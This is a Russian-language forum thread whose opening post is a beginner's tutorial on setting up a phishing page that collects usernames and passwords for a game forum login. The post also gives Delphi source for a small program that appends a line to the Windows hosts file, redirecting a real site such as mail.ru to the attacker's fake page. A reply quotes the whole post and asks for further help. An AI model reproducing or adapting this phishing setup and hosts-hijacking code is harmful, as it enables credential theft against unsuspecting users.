Изменение файла hosts + Создание фейка

alaksion

Местный
Регистрация
13.06.13
Сообщения
299
Симпатии
239
На форуме
0
Баллы
0
#1
Всем привет, решил написать статью по Созданию "онлайн фейка",
это моя первая статья, сделано для новичков,
тапком не кидать

Поехали !!!
-----
Забыл сказать, Статья ориентирована не на создание
самого фейка
а на работу с файлом hosts
Так что мы будим юзать программу ArxWFakeGen (ссылка ниже)
и так откроем саму программу

В текстовое поле "Страница" Вписываем наш сайт, к примеру
http://ru.tankiforum.com/index.php?app=core&module=global&section=login&do=process
В поле переадресация, вводим сайт, куда жертва будет переходить после того как она ввела данные.
введем тот же адрес
http://ru.tankiforum.com/index.php?app=core&module=global&section=login&do=process
все, жмем создать.

ставим галки напротив username и password,
жмем продолжить,
все фейк создан на 45%
Теперь если залить файл на хостинг мы получим кракозябры дабы это избежать
открываем файлик index.php любым текстовым редактором и ищем строчку

и заменяем ее на
<meta charset="windows-1251" />

все после этого сохраняем отредактированы файл, фейк готов на 50%
Теперь заливаем все 3 файла на хостинг, я предпочитаю использовать http://byethost.com/
---
Фуф вроде написал... Предварительная часть готова
Теперь приступим кодить, мы будим Писать на WinApi
откроем Делфи
project → remote from project → ok
project → view Source
Удаляем все
Пишем:
Код:
program Project1;

uses
  windows;
const
  str = #13#10'127.0.0.1'#32'mail.ru';//где 127.0.0.1 пишем ip нашего фейк сайта где mail.ru адрес настоящего сайта
var //переменные
  dir: array [0..MAX_PATH] of Char;
  hFile,rw: Cardinal;
  len,p: Integer;
  Buf: array[0..65535] of Char;
  c: Char;
begin
  GetSystemDirectory(dir, MAX_PATH);// узнаем системную директорию а именно %windir%
  lstrcat(@dir,'\drivers\etc\hosts');
  hFile:=CreateFile(@dir,GENERIC_READ or GENERIC_WRITE,0,nil,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  if hFile<>INVALID_HANDLE_VALUE then
  begin
    len:=GetFileSize(hFile,nil);
    ReadFile(hFile, Buf, len, rw, nil);
    lstrcpy(@Buf[len],str);//записываем данные из переменной str
    WriteFile(hFile, Buf, lstrlen(@Buf), rw, nil);
    CloseHandle(hFile);
  end;
end.
На выходе получаем ~8200 байтов
Всем спасибо, ах да статья написана в ознакомительных целях, автор ответственности не несет dg.gif
 

XaJl9lBLLLuK

Участник
Регистрация
10.04.14
Сообщения
63
Симпатии
175
На форуме
0
Баллы
0
#2
Всем привет, решил написать статью по Созданию "онлайн фейка",
это моя первая статья, сделано для новичков,
тапком не кидать

Поехали !!!
-----
Забыл сказать, Статья ориентирована не на создание
самого фейка
а на работу с файлом hosts
Так что мы будим юзать программу ArxWFakeGen (ссылка ниже)
и так откроем саму программу

В текстовое поле "Страница" Вписываем наш сайт, к примеру
http://ru.tankiforum.com/index.php?app=core&module=global&section=login&do=process
В поле переадресация, вводим сайт, куда жертва будет переходить после того как она ввела данные.
введем тот же адрес
http://ru.tankiforum.com/index.php?app=core&module=global&section=login&do=process
все, жмем создать.

ставим галки напротив username и password,
жмем продолжить,
все фейк создан на 45%
Теперь если залить файл на хостинг мы получим кракозябры дабы это избежать
открываем файлик index.php любым текстовым редактором и ищем строчку

и заменяем ее на
<meta charset="windows-1251" />
все после этого сохраняем отредактированы файл, фейк готов на 50%
Теперь заливаем все 3 файла на хостинг, я предпочитаю использовать http://byethost.com/
---
Фуф вроде написал... Предварительная часть готова
Теперь приступим кодить, мы будим Писать на WinApi
откроем Делфи
project → remote from project → ok
project → view Source
Удаляем все
Пишем:
Код:
program Project1;[/COLOR][/FONT][/LEFT]
[FONT=Book Antiqua][COLOR=#000000]
[LEFT]
uses
  windows;
const
  str = #13#10'127.0.0.1'#32'mail.ru';//где 127.0.0.1 пишем ip нашего фейк сайта где mail.ru адрес настоящего сайта
var //переменные
  dir: array [0..MAX_PATH] of Char;
  hFile,rw: Cardinal;
  len,p: Integer;
  Buf: array[0..65535] of Char;
  c: Char;
begin
  GetSystemDirectory(dir, MAX_PATH);// узнаем системную директорию а именно %windir%
  lstrcat(@dir,'\drivers\etc\hosts');
  hFile:=CreateFile(@dir,GENERIC_READ or GENERIC_WRITE,0,nil,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  if hFile<>INVALID_HANDLE_VALUE then
  begin
    len:=GetFileSize(hFile,nil);
    ReadFile(hFile, Buf, len, rw, nil);
    lstrcpy(@Buf[len],str);//записываем данные из переменной str
    WriteFile(hFile, Buf, lstrlen(@Buf), rw, nil);
    CloseHandle(hFile);
  end;
end.

На выходе получаем ~8200 байтов
Всем спасибо, ах да статья написана в ознакомительных целях, автор ответственности не несет dg.gif
С последним не понял!После того как нужно создать и залить 3 файла дальше ничего не понял)Обьясните нупке =3
 

Sabinaka

Новичок
Регистрация
01.12.19
Сообщения
1
Симпатии
0
На форуме
25м
Баллы
10
#3
спасибо